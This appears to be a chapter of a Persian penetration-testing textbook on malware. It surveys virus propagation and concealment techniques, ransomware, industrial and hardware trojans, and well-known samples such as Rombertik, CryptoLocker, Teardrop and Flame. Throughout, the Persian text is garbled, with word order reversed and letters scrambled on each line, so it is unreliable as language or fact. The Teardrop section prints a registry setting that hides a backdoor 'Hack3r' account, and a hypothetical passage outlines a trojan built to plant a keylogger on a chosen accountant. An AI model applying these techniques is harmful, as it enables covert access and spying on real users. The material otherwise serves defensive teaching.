 دهد. می را دامنه آن یبرا DNS سرور و IP، WhoIS مانند تیسا وب در یاطلاعات

 
 خلاصه

 گام نیاول .دیده انجام اکتشاف هدف شبکه کی در چگونه که اید گرفته ادی فصل، نیا در
 یجستجو نیهمچن و وب تحت یابزارها انواع از استفاده شامل که بود رفعالیغ اکتشاف
 یابزارها پورت، یاسکنرها از استفاده با چگونه که دیگرفت ادی سپس .بود یاجتماع های هرسان

 کاملاً یابزارها از استفاده با سرانجام، .دیده انجام فعال اکتشاف اسنیفرها، بسته و شمارش
 گام اکتشاف بر تسلط .دیآموخت را یبریسا داتیتهد یاساس اطلاعات از یبرخ شده، رفتهیپذ
 است. نفوذ تست یریادگی در یمهم
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 فصل اهداف

 بود: دیخواه قادر فصل، نیا خواندن از پس
 کنید. درک را بدافزارها انواع 
 شناسید. می را بدافزار جادیا های روش 
 کنید. استفاده نفوذ تست در بدافزار از توان می چگونه که کنید می درک 

 نفوذ کننده تست هر که است یهیبد است. شبکه هر یبرا داتیتهد ینتر جیرا از یکی بدافزار
 درک به تر قیعم اصرف ،اگرچه فصل، نیا در دارد. بدافزار درک به ازین آن با مقابله یبرا

 از یبرخ یبرا است ممکن که پرداخت، میخواه بدافزار جادیا اصول مورد در بحث و بدافزار
  برسد. نظر به بیعج یکم نخوانندگا

 دانش کی شما که باشد می صورت بدین بدافزار جادیا نحوه یریادگی یبرا لیدل نیاول واقع در
 چه که کنید درک اگر .دیباش داشته شود می انجام یکار چه یبرا بدافزار نکهیا از مناسبی
 بدافزار، انتشار نحوه نیهمچن و دهد انجام تواند نمی یکار چه و دهد انجام تواند می یکار
 .داشت خواهید بدافزار با مبارزه یبرا یبهتر یآمادگ
 نفوذ تست در (benignخطر) بی های روسیو یبرخ از توان می که باشد می گونهنیا دوم لیدل

 .کرد میخواه مشاهده را موارد این فصل نیا در کرد. استفاده
 بدافزار جادیا .گذشت یراحت به دینبا فصل نیا مطالب از که دیباش داشته توجه دیبا البته

 بدافزار جادیا نیبنابرا .ابدی گسترش یتصادف طور به بدافزار است ممکن و باشد می خطرناک
 شود. انجام یمجاز نیماش ای ای شبکه ریغ ،یمجاز وتریکامپ کی یرو شهیهم دیبا
 

  (Viruses) ها ویروس

 ،یکل ورط به شود. می تکرار خود به خود که است ای برنامه کامپیوتر روسیو ،فیتعر طبق
 از عیسر انتشار و یریتکث خود اما داشت، خواهد زین یگرید ندیناخوشا عملکرد روسیو کی
 شبکه کی یبرا تواند می خود، یخود به رشد، نیا اغلب است. روسیو کی های یژگیو

 و عملکرد تواند می است انتشار حال در سرعت به که یروسیو ره شود. ساز مشکل آلوده
 شبکه کی روی که زیادی یکیتراف بار زانیم با یسادگ به دهد. اهشک را شبکه ییپاسخگو

 I معروف روسیو شود. رفعالیغ موقت طور به شبکه است ممکن ،کرده یطراح آن حمل یبرا
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Love You کرد جادیا که هایی لیمیا از ای گسترده حجم اما نداشت، یمنف بار چیه واقع در 
 .انداخت کار از و گرفتارکرده را ها شبکه از یاریبس
 

 ابدی می گسترش روسیو چگونه

 دوم و است، لیمیا وستیپ قیطر از اول مورد .ابدی می گسترش روش دو به معمولاً روسیو
 روش .باشد می سرور وب کی دیشا ای لیفا اشتراک تیسا کی در آلوده فایل کی آپلود فقط
 یکم شامل اول روش اغلب ندارد. یخاص لیتحو سمیمکان ،باشد می کردن آپلود از فراتر دوم،
 .تاس یسینو برنامه

 هر از توان می روسیو ارسال یبرا است. رایج اریبس هم هنوز لیمیا قیطر از روسیو رسالا
 لیمیا سیسرو رندهیگ یوقت مخصوصاً کار نیا کرد، استفاده یلیمیا سیسرو رندهیگ

Microsoft Outlook در یتینام نقص خاطر به آن لیدل است. آسان اریبس باشد Outlook 
 شده ساخته Microsoft Office محصولات همه است. Outlook با کار سهولت بلکه باشد نمی
 به بتواند است افزار نرم نوشتن حال در کار و کسب کی یبرا که یقانون سینو برنامه کی تا
 هایی کیشناپلی یراحت به بیترت نیبد و کند دایپ یدسترس برنامه یداخل objects ایاش از یاریبس
 عنوان به کند. یکپارچه و ادغام Microsoft Office موعهمج در را ها اپلیکیشن که کند جادیا

 کند، دایپ یدسترس Word سند کی به که سدیبنو اپلیکیشنی تواند می سینو برنامه کی مثال،
 طور به Outlook از استفاده با سپس و کند وارد اکسل (spreadsheet) گسترده صفحه کی
 کار کروسافتیما کند. ارسال مند علاقه اشخاص یبرا لیمیا قیطر از را حاصله سند ودکارخ
 ها برنامه نیا حداقل انجام رایز است، کرده آسان اریبس را فرایند نیا که داده جامان مناسبی اریبس

 و Outlook به ارجاع یبرا ،Outlook از استفاده با دارد. ازین نویسی برنامه حداقل به معمولاً
 تواند می برنامه کی که است یمعن بدان نیا .دارد طول کد خط پنج از کمتر لیمیا ارسال
 یب یکدها نمونه کند. ارسال کاربر از اطلاع بدون را هایی لیمیا خود Outlook که شود باعث
 دهد. می نشان گانیرا صورت به را کار نیا انجام نحوه قاًیدق که دارد وجود نترنتیا در یشمار
 Outlook آدرس دفترچه به بتواند که ستین لازم ماهر اریبس سینو برنامه کی ،لیدل نیهم به
 یسینو نامهبر سهولت اساساً، کند. ارسال لیمیا خودکار طور به و کند دایپ یدسترس شما

Outlook که دارد وجود یروسیو حملات از یاریبس که است لیدل نیهم به Outlook را 
 دهند. می قرار هدف
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 یقربان موجود لیمیا افزار نرم به اتصال با یروسیو حملات اتفاق به بیقر تیاکثر که یحال در
 لیمیا موتور مانند یگرید های روش از ریاخ های روسیو وعیش از یبرخ ،ابدی می گسترش
 به خود کردن یکپ روسیو انتشار های روش از گرید یکی اند. کرده استفاده خود یداخل
 بسیار ابدی می گسترش ریمس نیچند قیطر از که روسیو وعیش است. هکشب کی در یراحت

 .باشد می متداول
 یمتک یینها کاربر یانگار سهل به شتریب و باشد ساده اریبس تواند می payload لیتحو روش
 ای ها تیسا وب به رفتن یبرا کاربران بیفر .است نوشته را روسیو که شخصی مهارت تا باشد
 به که باشد می یروش و روسیو انتقال یبرا رایج یروش ،ستین لازم که ییها فایل کردن باز
 هنگامی ،ویروس ورود آستانه نحوه از نظر صرف ندارد. ازین یسینو برنامه مهارت به وجه چیه
 نیز موارد از بسیاری در و دارد انتشار در سعی ،گرفت قرار سیستمتان روی بر ویروس که
 هر تواند می گرفت، قرار شما ستمیس یرو یروسیو یوقت .برساند آسیب سیستمتان به تواند می
 را ها فایل بالقوه طور به تواند می که معناست بدان نیا دهد. انجام را یقانون برنامه هر و یکار

 کند. وارد یگرید بیآس ای داده رییتغ را ستمیس ماتیتنظ کند، حذف
 file )لیفا اشتراک سرور / ورسر وب کی به آلوده های فایل uploading که یحال در

sharing server) لیمیا وستیپ و( email attachment) های روش است، جیرا روش دو 
 دارد. وجود روسیو انتشار یبرا زین یگرید
 را روسیو انتشار های روش نیا دیتوان می است. یقبل یها روش اصلاح ها روش نیا از یرخب
 .دینک مشاهده است شده ذکر 5-1 شکل در که

 
 .روسیو انتشار های روش .5-1 شکل
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 است. لیمیا وستیپ عنوان به ارسال هیشب اریبس رسان امیپ اپلیکیشن قیطر از روسیو ارسال
 آپلود راتییتغ همه ها دانلود و اعتماد رقابلیغ های تیسا ،ییجابجا قابل های رسانه از استفاده
 یروش تروا اسب هستند. (file sharing website)لیفا اشتراک تیسا وب در روسیو کردن
 بیفر جهینت در و خطر بی های برنامه از یبرخ به روسیو وستنیپ شامل که باشد، می فریبنده
 از تروا، های اسب مورد در یشتریب اطلاعات فصل نیا در .باشد می شخود نصب یبرا کاربر
 .دید میخواه آن، جادیا نحوه جمله
 

 ها روسیو انواع

 ها روسیو یاصل انواع از تعدادی خلاصه طور به بخش، نیا در دارند. یمختلف انواع ها روسیو
 در ها آن تیفعال ای انتشار روش از استفاده با توان می را ها روسیو کرد. میخواه یبررس را

 در مختلف متخصصان که داشت توجه دیبا نیهمچن کرد. یبند طبقه هدف های کامپیوتر
 بخش نیا در شده ارائه یبند طبقه دارند. یکم تفاوت ها روسیو یبند گروه نحوه چگونگی
 است. شده داده توسعه سالها یط که است یموارد از یکی نیا .باشد می جیرا کاملاً

 

 Macro Viruses ماکرو های روسیو

 ،سیآف محصولات از یاریبس کنند. می آلوده را سیآف اسناد در موجود یماکروها ویروس، این
 .سندیبنو ماکرو بنام یکوچک های برنامه دهند می امکان کاربران به ،سیآف تکروسافیما جمله از

 از یبرخ در ماکرو روسیو نوشت. روسیو عنوان به را ماکروها نیا توان می نیهمچن
 به سیآف کروسافتیما مثال عنوان به شود. می نوشته ماکرو صورت به یرتجا های اپلیکیشن
 Microsoft .سندیبنو ماکرو کارها، یبرخ یخودکارساز یراب تا دهد می را امکان نیا کاربران

Outlook از استفاده با را ها پتیاسکر تواند می سینو برنامه کی که است شده یطراح ای گونه به 
 Visual Basic for Applications بنام Visual Basic یسینو برنامه زبان از ای مجموعه ریز

(VBA) محصولات تمام در یسینو پتیکراس زبان نیا واقع در .سدیبنو Microsoft Office 
 کنند. استفاده VBScript کینزد زبان از توانند می نیهمچن سانینو برنامه است. شده هیتعب
 از رندهیگ و باشد متصل لیمیا به یپتیاسکر نیچن اگر است. آسان کاملاً زبان دو هر یریادگی

Outlook انجام را کار تعداد هر تواند می اجرا نیا شود. اجرا تواند می پتیکراس کند، استفاده 
 .گرید موارد و لیمیا حذف ،لیمیا ارسال آدرس، یجستجو آدرس، کتاب اسکن جمله از دهد،
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Boot Sector 
 به عو  در بلکه ،کنند نمی آلوده را هدف کامپیوتر عامل ستمیس Boot Sector های روسیو

 از استفاده با ها آن حذف و ییشناسا که شود می باعث امر نیا کنند. می حمله ویدرا بوت بخش
 شده نصب عامل ستمیس در یافزار نرم نیچن باشد. دشوارتر یسنت روسیو ضد یافزارها نرم
 عامل، ستمیس از خارج در کردن کار با کند. می کار عامل ستمیس متن در فقط یحد تا و است
 یبخش چند های روسیو .اشدب می دشوارتر سکتور بوت روسیو بردن نیب از و ییشناسا

Multipartite viruses بوت بخش مثال عنوان به کنند، می حمله وتریکامپ به روش نیچند به 
 کنند. می آلوده عامل ستمیس در را لیفا چند ای کی و سخت سکید
 

 Stealth یکاریمخف حرکت

 نیا .اشندب می ها روسیو گروه نیبزرگتر از یکی (Stealthی)کاریمخف نوع از های روسیو
 استفاده خود شدن پنهان یبرا کیتکن چند ای کی از که باشد می یروسیو هر شامل دسته
 تانروسیو یآنت افزار نرم از دارند یسع که هستند ییروسهایو نهایا ،گرید عبارت به کند. می

 است. شده داده نشان 5-2 شکل در جیرا یکار یخفم های کیتکن از یستیل کنند. یریجلوگ
 

 
 .یکار یمخف روسیو انواع .5-2 شکل
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XOR ینریبا لیفا ها روسیو از یبرخ است. فرد به منحصر یا یاساس ینریبا یاضیر اتیعمل 
 استفاده قابل ریغ موقت طور به را روسیو نیا کنند. می XOR یتصادف عدد یتعداد با را خود
 باشد. نداشته طابقتم روسیو شده شناخته یامضا با گرید شود می باعث نیهمچن اما کند، می

 نسخه و دنشو می هیته ها XOR یسادگ به دوباره ،دیهست روسیو بردن نیب از آماده که یهنگام
 را XOR اتیعمل که دارد ازین هیثانو ماژول کی به نیا که است یهیبد گردد. یبرم آن یاصل
 انداختن راه باعث که است دیبع است، نیا ماژول فهیوظ که آنجا از حال، نیا با دهد. انجام
 شود. روسیو آنتی افزار نرم کی
 یرمزگذار یبرا هیثانو ماژول کی از که هستند XOR به مربوط یرمزنگار های روسیو
 کنند. می ییرمزگشا را آن ،استفاده یبرا شدن آماده از پس و کنند می استفاده روسیو

 نه ،یقانون برنامه کی به آن اتصال با .باشد می روسیو کردن پنهان یبرا یعال یراه تروا اسب
 زین روسیو آنتی افزار نرم کی از است ممکن بلکه دهد، می بیفر آن نصب با را کاربر تنها
 .کند فرار
 از تا دهد می شکل رییتغ یزمان به یزمان از کلمه یواقع یمعنا به یشکل چند روسیو کی

 روسیو نیا از یتر شرفتهیپ نوع کند. یریجلوگ روسیو یآنت افزار نرم توسط ییشناسا
 کار نیا دهد. رییتغ را خودش کاملاً تواند می که شود می دهینام (metamorphic) دیسیدگر
 دارد. ازین هیثانو ماژول کی به یسیبازنو انجام یبرا نیهمچن
 به خود مخرب یتهایفعال انجام با تنها (Sparse infector virus )پراکنده کننده آلوده روسیو

 یبرا را علائم کاربر پراکنده، کننده آلوده روسیو با دارد. ییشناسا در یسع پراکنده، صورت
 یبرخ در .کرد نخواهد مشاهده یعلائم چیه یمدت یبرا سپس کند، می مشاهده یکوتاه مدت
 ای بار 10 هر فقط روسیو ولی دهد می قرار هدف را خاص برنامه کی پراکنده روسیو موارد،
 عملی پراکنده روسیو کی است ممکن شود. می اجرا کند، می اجرا هدف برنامه که بار 20
 اصل اما ،رددا وجود شکل این متغیربه یتعداد .برود خواب به یمدت یبرا سپس و دهد انجام
 .صیتشخ احتمال کاهش جهینت در و حمله دفعات کاهش است: کسانی یاساس

 کردن پنهان یابر دهیچیپ کاملاً روش کی (Fragmented payload) قطعه قطعه محموله
 دیبع و بوده ضرر یب نسبتاً loader ماژول شود. می میتقس هاییماژول به روسیو است. روسیو

 ریسا جداگانه، صورت به سپس، .شود ویروس آنتی افزار نرم یک انداختن راه باعث که است
 روسیو و کرده جمع را ها آن loader باشد، موجود قطعات همه یوقت کند. می دانلود را قطعات

 کند. می پخش را
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  (Ransomware) افزار باج

 در است. رممکنیغ افزار باج مورد در نکردن بحث و بدافزار مورد در بحث مدرن دوران در
 دهید بیآس افزار باج گسترده حمله با جهاندر گذشته ساعت 48 در طورکلی به ،قتیحق

 در (healthcare) یبهداشت های مراقبت های ستمیس به حمله با حمله نوع نیا .روبروهستیم
 افراد از یاریبس که یحال در .افتی گسترش آن از راترف اریبس و شد آغاز اسکاتلند و سیانگل
 افزار باج کردند، آغاز 2013 سال در CryptoLocker ظهور با را افزار باج بحث بار نیاول یبرا
 PC Cyborg Trojan شده شناخته افزار باج نیاول است. داشته وجود نیز مورد نیا از قبل

 .دکر می یرمزگذار فیضع تقارنم رمز کی با را ها فایل نام فقط که بود 1989
 را ستمیس های سرویس ای سپس کند، می کار . (worm) کرم مانند به افزار باج ،یکل طور به
 / ها فایل تا باج برای تقاضا سپس کند. می یرمزگذار را کاربر های فایل ای کند می رفعالیغ

 امروزه اگرچه داشت، روسیو از یمتفاوت یمعنا گذشته در کرم اصطلاح .شود آزاد سرویس
 بسیار که است یروسیو اساساً کرم شوند. می استفاده گریکدی یجا به اغلب اصطلاحات نیا

 شود. می منتشر تر راحت

 دارد. وجود افزار باج یکل دسته دو است، شده داده نشان 5-3 شکل در که طور همان
 

 
 

 Ransomware انواع .5-3 شکل
 

 شد. گزارش هوشمند های ترموستات یبرا افزار باج نیاول ،2016 آگوست 7 در
http://motherboard.vice.com/read/internet-of-things-ransomware-smart-
thermostat  .  

 محقق دو جادیا بلکه ،شد می یافت طبیعت در که نبود افزار باج این خوشبختانه مورد، نیا در
 ها آن است. شده یطراح هوشمند های خانه یفناور در نقص دادن نشان یبرا که بود یتیامن

http://motherboard.vice.com/read/internet-of-things-ransomware-smart-thermostat
http://motherboard.vice.com/read/internet-of-things-ransomware-smart-thermostat
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 تند.گذاش شینما به وگاس لاس در DEF CON معروف کنفرانس در را خود مفهوم اثبات

 دیجد های فرم کشف .باشد می قیتحق یبرا یقانون اریبس و یاتیح نهیزم کی بدافزار قاتیتحق
 تیامن در یمهم گام ،عتیطب در آن افتنی از قبل بدافزار آن به پاسخ کردن فرموله و بدافزار
 است. یبریسا

 هایی یوترکامپ به افزار باج نیا .افتی گسترش جهان سراسر در WannaCry افزار باج وعیش
 اسکن و یاساس پچ تیریمد به ازین شیوع این ندارند. ی)پچ(ا وصله نقص که دارد یبستگ
 WannaCry ازطریق،باشند داشته یخوب پچ تیریمد ،همه اگر دهد. می نشان را پذیری آسیب
 دهد. می نشان را WannaCry روسیو از یریتصو 5-4 شکل .بینند می یکم اریبس بیآس

 
 WannaCry .5-4 شکل

 

  (Industrial Virusesی)صنعت های روسیو

 ها داده به یابیدست و نظارت کنترل های ستمیس مانند هایی ستمیس یصنعت های روسیو
(SCADA) های ستمیس ریسا و ها روگاهین آب، هیتصف ،کارخانه در که دهند می قرار هدف را 

 SCADA تیامن مطالعه شروع یبرا مناسبی جای NIST 800-82 شوند. می استفاده یصنعت
 Guide to یصنعت کنترل ستمیس تیامن یراهنما" ،2 شیرایو ،800-82 ژهیو هینشر .باشد می

Industrial Control System (ICS) Security" است. یصنعت کنترل های ستمیس ژهیو 
 PLCs هیاول یمنطق های کننده کنترل و SCADA های ستمیس شامل یصنعت های ستمیس

(primary logic controllers) .آغاز ها ستمیس نیا داتیتهد قیدق یبررس با سند نیا هستند 
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 هایی ستمیس نیچن یبرا یتیامن جامع برنامه نیتدو یچگونگ مورد در استاندارد سپس شود. می
 کند. می بحث

 به حمله یبرا هدف نیا شد. کشف (Stuxnet) نت استاکس روسیو ،2010 سال در
 ومیاوران هیتصف یبرا رانیا که هایی ستمیس ژهیو به ،یمنطق یزیر برنامه قابل های کننده کنترل
 الاتیا دولت که زد حدس توان می ای گسترده طور به است. شده یطراح ،کرد  می استفاده
 هستند. حمله نیا عامل لیاسرائ ای / و متحده

 
  (Hardware Trojans) یافزار سخت های تروجان

 برون به توجه با هستند. مجتمع مدار کی در افزار انیم در یراتییتغ یافزار سخت های تروجان
 از هایی نمونه باشند. مجتمع مدار هر در توانند می ها تروجان نیا تراشه، دیتول گسترده یسپار
 که است ینمع بدان فقط و اند، بوده نادر تاکنون که شوند می افتی عتیطب در که ها تروجان نیا
 یافزار سخت تروجان کی جادیا هم رایز است، یمنطق کاملا این و د،ان نشده ییشناسا ها آن

 ،گیرد می قرار تراشه کی در که آنجا از و است دشوارتر آن صیتشخ هم و باشد می تر سخت
 کنند. نمی کار یسنت بدافزار آنتی یها روش
 یبرا یمشخص های متدولوژی .باشد می دشوار کاملاً یافزار سخت های تروجان ییشناسا
 مهندسی مانند تخریبی اقدامات از مثال، عنوان به دارد. وجود جداگانه های تراشه شیآزما

 اریبس ها روش نیا حال، نیا با .کرد استفاده ها تروجان شناسایی برای توان می تراشه معکوس
 ترین رایج دارند. ازین یالکترون کروسکوپیم مانند ای شرفتهیپ زاتیتجه به و هستند پرهزینه
 به ها روش نیا حال، نیا با است. برق نوسانات و یزمان یرهایتاخ سهیمقا شامل ها یولوژمتد
 کی وجود شهیهم دارند. یبستگ " golden chip ییطلا تراشه" مرجع تست تراشه سهیمقا

 .ستین ریپذ امکان تست یبرا شده دییتأ تراشه
 و هستند کمیاب اریبس یرافزا سخت های تروجان که یحال در شد، گفته قبلاً که طور همان
 قیدق کاملاً ولی است، نشده افتی " in the wild عتیطب در" که کنند می ادعا منابع یبرخ
 معمولاً آلوده های سیستم است. دشوار ها افتهی یهدییتأ اما اند، شده دایپ ها آن از یبرخ .ستین

 .است دسترس در محدودی اطلاعات و هستند ای محرمانه های سیستم
 دیبا و هستند جداگانه ای مسئله یافزار سخت های تروجان ،یتیامن یزیمم ای نفوذ تست نظر از

 های تروجان تست انجام یبرا نفوذ های کننده تست شتریب دهند. انجام را خود خاص ممیزی
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 یافزار سخت های تروجان تست به یازین ها شبکه اکثر و ندارند را لازم مهارت یافزار سخت
 شوند. خارج (Scope)حوزه از دیبا موارد نیا ،نیرابناب .دارندن
 

 Virus Examples هاروسیو نمونه

 صفحات که یحال در کرد. انیب حد از شیب توان نمی را روسیو حملات از یناش داتیتهد
 یتعداد بنده نظر به ولی دهند، می ارائه را روسیو اطلاعات که دارند وجود یاریبس وب

 ترین قیدق و نیمعتبرتر ،نیآخر مداوم طور به که دارد وجود وب صفحات از شمار انگشت
 منظم طور به است لیما تیامن متخصص هر دهد. می ارائه روسیو وعیش مورد در را اطلاعات

 ،یفعل ای گذشته ،یروسیو هر مورد در یشتریب اطلاعات دیتوان می کند. مشورت ها تیسا نیا با
 :کنید مطالعه ریز های تیسا وب در

http://www.pctools.com/security-news/top-10-computer-viruses/ 
https://www.ucert.gov/publications/virus-basics/ 
http://www.techrepublic.com/pictures/the-18-scariest-computer-viruses-of-all-time/ 

 هدای  روسیو ما شد. خواهد یبررس یواقع یایدن در روسیو وعیش نیچند بعدی های قسمت در
 دید با ،کده کرد میخواه یبررس را گذشته در شتریب ای سال 10 از نمونه چند نیهمچن و ریاخ اریبس
 دهد. ارائه یواقع یایدن در ها روسیو رفتار نحوه از یکل کامل نسبتاً ینما کی شما به
 

Rombertik. 

 اعتبار خواندن یبرا مرورگر از بدافزار نیا شد. آشکار آن خرابکاری و نیرایو 2015 سال در
 ارسال لیمیا کی به وستیپ عنوان به اوقات اغلب .کرد می استفاده ها تیسا وب در کاربر
 سکید یرو را بوت یاصل رکورد ای Rombertik مواقع یبرخ در بدتر، یحت دیشا شود. می

 دایرکتوری در را ها لیفا یرمزگذار ای کرده بوت قابل ریغ را گاهدست کند، می یسیبازنو سخت
 کند. می آغاز کاربر

 

Gameover ZeuS. 

 ارتباط نیا اساساً، کند. می جادیا (peer-to-peer) رینظ به رینظ botnet کی که است یروسیو
 به و کند می قراربر را کنترل و فرمان کامپیوتر و آلوده های کامپیوتر نیب شده یرمزگذار
 یدادگستر وزارت 2014 سال در دهد. می را آلوده مختلف های کامپیوتر کنترل امکان مهاجم

http://www.pctools.com/security-news/top-10-computer-viruses/
http://www.techrepublic.com/pictures/the-18-scariest-computer-viruses-of-all-time/
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 قطع موقت طور به را ها کامپیوتر کنترل و ها کامپیوتردستور با ارتباط توانست متحده الاتیا
 به منجر که یاطلاعات یبرا کرد اعلام را یدلار ونیلیم 3 پاداش FBI 2015 سال در سپس کند.
 داشت. Gameover ZeuS در داشتن دخالت اتهام به بوگاچف یاوگن یریدستگ
 گرید های کامپیوتر کنترل یبرا botnet در که باشد می یکامپیوتر کامپیوتر، کنترل و دستور
 تیریمد ها آن از botnet کی که هستند یمرکز نودهای( ) های گره نیا شود. می استفاده
 .کند می
 

CryptoLocker و CryptoWall 

 سال در بار نیاول یبرا که است بدنام CryptoLocker افزار، باج های نمونه نیمشهورتر از یکی
 کاربر های فایل کردن قفل یبرا نامتقارن یرمزگذار از CryptoLocker شد. کشف 2013
 است. شده ییشناسا CryptoLocker نوع نیچند .کند می استفاده

CryptoWall یگرد نوع یک CryptoLocker 2014 آگوست در بار نیاول یبرا که باشد می 
 های فایل یرمزگذار بر علاوه داشت. CryptoLocker به شبیه کاملاً یظاهر شد. افتی

 عکس آلوده دستگاه از یحت و کند می برقرار ارتباط کنترل و فرمان سرور کی با حساس،
 یجاسوس افزار نرم با همراه که شده کشف CryptoWall از ای گونه ،2015 مارس تا .ردیگ می

TSPY_FAREIT.YOI مجوزها یا ها اعتبارنامه باج، های فایل داشتن نگه بر علاوه و باشد می 
(credentials) کند. می سرقت آلوده ستمیس از زین را 
 

FakeAV. 

 تا 95 زندویو از ندوزیو های ستمیس یرو بر که ،شد ظاهر 2012 هیژوئ در بار نیاول روسیو نیا
 روسیو یآنت کی ویروس نیا گذاشت. ریتأث 2003 سرور ندوزیو روی بر همچنین و 7 ندوزیو
 جادیا را روسیو یجعل یهشدارها که بود است( شده نامگذاری FakeAV نیهم خاطر )به یجعل
 بود. ویروسها نیدتریجد از یکی ولی نبود، روسیو آنتی یجعل بدافزار نیاول FakeAV کرد. می
 

MacDefender. 

 را Mac یوترهایکامپ خاص طور به اینکه اول .باشد می جالب اریبس لیدل چند به روسیو نیا
 اپل محصولات که اند کرده توافق کارشناسان از یاریبس که هاست مدت دهد. می قرار هدف
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 توجه جلب یبرا بازار یکاف سهم ها آن محصولات رایز اند مانده یباق روسیو بدون باًیتقر
 را بازار از یشتریب سهم اپل اگر کردند می گمان که بود ها مدت ندارند. را روسیو ندگانسینو
 موضوع این ،دهد می اختصاص خود به زین را یشتریب روسیو حملات دهد، اختصاص خود به

 .باشد می درست که شده ثابت
 در روسیو نیا شد. مشاهده 2011 سال ییابتدا های ماه در بار نیاول MacDefender روسیو
 آن از یکی به کاربر که یهنگام و است شده شده)جاسازی( تعبیه وب صفحات از یبرخ

 دیگو می یو به که کند می کار یو یبرا یجعل روسیو کی کند، می مراجعه وب صفحات
 روسیو دانلود طریق از واقع در " fix رفع" شود. (fixرفع) دیبا و است شده ویروس به آلوده
 "روسیو یآنت" محصول بخواهند یینها کاربران که باشد می گونهنیا روسیو هدف .باشد می

MacDefender یجعل حملات است. فایل نیا بودن توجه قابل دوم لیدل کنند. یداریخر را 
 است. شده جیرا ای ندهیفزا طور به شود، می گفته زین (scareware) آن به که روسیو یآنت
 

Troj/Invo-Zip. 

 2010 سال اواسط در بار نیاول که است تروا اسب / کیکلاس مکر کی خاص کرم نیا
 ادعا لیمیا نیا شود. می ضمیمه لیمیا به فشرده لیفا کی عنوان به کرم نیا شد. گزارش
 مشابه یفور مدارک ای اتیمال مسئله فاکتور، به مربوط های داده یحاو zip لیفا که کند می

 وستیپ فایل کردن باز یبرا رندهیگ بیرف یبرا تلاش از کیکلاس نمونه کی نیا است.
 دارای افراد شوند، می داده بیفر ادیز احتمال به که هایی رندهیگ حالت، نیا در و .باشد می

 .باشند می کسبه یا کار و کسب
 خود دستگاه یرو را (spywareیی)افزارها جاسوس سپس کند، باز را وستیپ رندهیگ اگر
 جمله از اطلاعات، گرفتن به اقدام سپس و کند می رفعالیغ را فایروال ابتدا که کرده نصب
 .گیرد می عکس نیز کاربر desktop از یحت وکند می یمال های داده
 

Teardrop Ransomware. 

 داده( گاهیپا ای ریتصو گسترده، صفحه سند، )هر حساس های فایل افتنی یبرا را ویدرا نیا
 به سپس کند. می اضافه فایل به را شده قفل دپسون و کند می یرمزگذار AES با و کرده اسکن
 لیمیا به و داده انجام را پرداخت ،دستورالعمل افتیدر یبرا تا شود می داده دستور یقربان
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blackhat20152015@mt2015.com حساب کی نی.همچنکند ارسال Windows backdoor 
 کند. می جادیا شبکه شتراکا و داده گسترش گرید یوهایدرا به را اجرا تیقابل کند، می اضافه
 کند می پنهان ندوزیو ورود صفحه در مشاهده از را حساب نیا ریز ماتیتنظ با سپس
 :ندوزیو یستریرج دیکل

KEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ 
CurrentVersion \ Winlogon \ SpecialAccounts \ UserList "Hack3r" = 0. 

 شدود.  مدی  اضدافه  (infected computer) آلدوده  کامپیوتر در شبکه یگذار شتراکا به نیهمچن
 .ستیچ یبرا اشتراک نیا که ستین مشخص هنوز
 

Flame. 

 نیا بود. نخواهد کامل Flame مورد در بحث بدون ها روسیو درباره یمدرن بحث چیه
 نیاول داد. قرار هدف را ندوزیو های عامل ستمیس شد، ظاهر 2012 سال در بار نیاول که روسیو

 الاتیا دولت توسط خاص طور به که باشد می صورت بدین ویروس این توجه قابل مور
 انگلستان پست، واشنگتن جمله از منابع، از یاریبس است. شده یطراح یجاسوس یبرا متحده
 است. شده جادیا متحده الاتیا دولت توسط Flame که داشتند اظهار همه ،ترزیرو و تلگراف

 یجاسوس Flame شد. کشف رانیا یدولت های تیسا جمله از مکان نیچند در 2012 مه ماه در
 .ردیبگ عکس آلوده ستمیس از و کرده رصد را شبکه کیتراف تواند می که است
 

 Trojan Horses (تروا) تروجان های اسب

 بدافزار هدف واقع در که بوده خطر بی نظر به که است ای برنامه یبرا یاصطلاح تروجان اسب
 دارد امکان شوند. می منتقل تروا اسب قیطر از که کردیم مشاهده را هایی روسیو قبلا .باشد می
 به .باشد می ضرر بدون یباز ای تجاری ابزار کی رسد می نظر به که دیکن افتیدر را ای برنامه
 دهش ضمیمه خطر بی لیمیا کی به که باشد می پتیاسکر کی فقط تروا اسب ،ادیز احتمال
 فکر که آنچه از ریغ کار نیا ،دیکن می باز را ضمیمه ای کرده اجرا را برنامه یوقت است.
 است ممکن شود. می انجام آن بر علاوه ای دیکرد می
 دیکن دانلود تیسا وب کی از را مضر یافزارها نرم. 
 دیکل کننده ثبت key logger یجاسوس یافزارها نرم ای spyware هدستگا یرو بر را گرید 
 .دیکن نصب خود



 آموزش اصول و مفاهیم تست نفوذ 144 

 

 یدکن لهاروحذفیفا. 
 یپشت درب کی (backdoor) دیکن باز هکر کی استفاده یبرا. 
 تروا اسب ،وهایسنار آن در است. معمول تروا اسب حملات اضافه به یبیترک روسیو افتنی

 که کند می باز شما دستگاه یرو را پورتی MyDoom روسیو .ابدی می گسترش روسیو مانند
 را MyDoom نیبنابرا کند، می (exploitبرداری) بهره آن از .doomjuice ،یبعد روسیو کی
 کند. می لیتبد تروا اسب و یبیترک روسیو کی به

 بخواهد هکر کی اگر شود. ساخته خاص شخص کی یبرا تواند می تروا اسب کی مخصوصاً
 توجه جلب یبرا را ای برنامه تواند می کند، یجاسوس شرکت حسابدار مانند خاص یشخص از
 است، گلف کنیباز کی حسابدار دانست می اگر مثال، عنوان به کند. هیته شخص آن
 ذکر را گلف های نیزم نیبهتر و کند محاسبه را امتیازها نقض که سدیبنو ای هبرنام توانست می
 از افراد از یتعداد به او سپس .دهد می قرار گانیرا سرور وب یرو را برنامه نیا وی کند.
 افزار نرم نیا .دهد می اطلاع گانیرا افزار نرم مورد در ها آن از و دنز می لیمیا سابدارح جمله
 نام با شده وارد نام اگر کند. یبررس را شده وارد یفعل شخص نام تواند می نصب، از پس

 باشد ناشناخته کاربر یبرا و شود، خارج تواند می افزار نرم سپس باشد، داشته مطابقت حسابدار
 نیا اگر کند. دانلود را نظارت های اپلیکیشن ریسا ای (key logger)دیکل کننده تثب کی

 بدون یطولان زمان مدت یبرا احتمالاً نکند، ریتکث را خود ای نرساند بیآس ها فایل به افزار نرم
 ترین یمیقد از یکی است. داشته وجود تروا اسب بسیاری ها سال طول در ماند. خواهد ییشناسا
 بود. (Back Orifice) آن نیترمشهور و
 باشد. متوسط مهارت با سینو برنامه هر یمهارتها مجموعه در باًیتقر تواند می ای برنامه نیچن
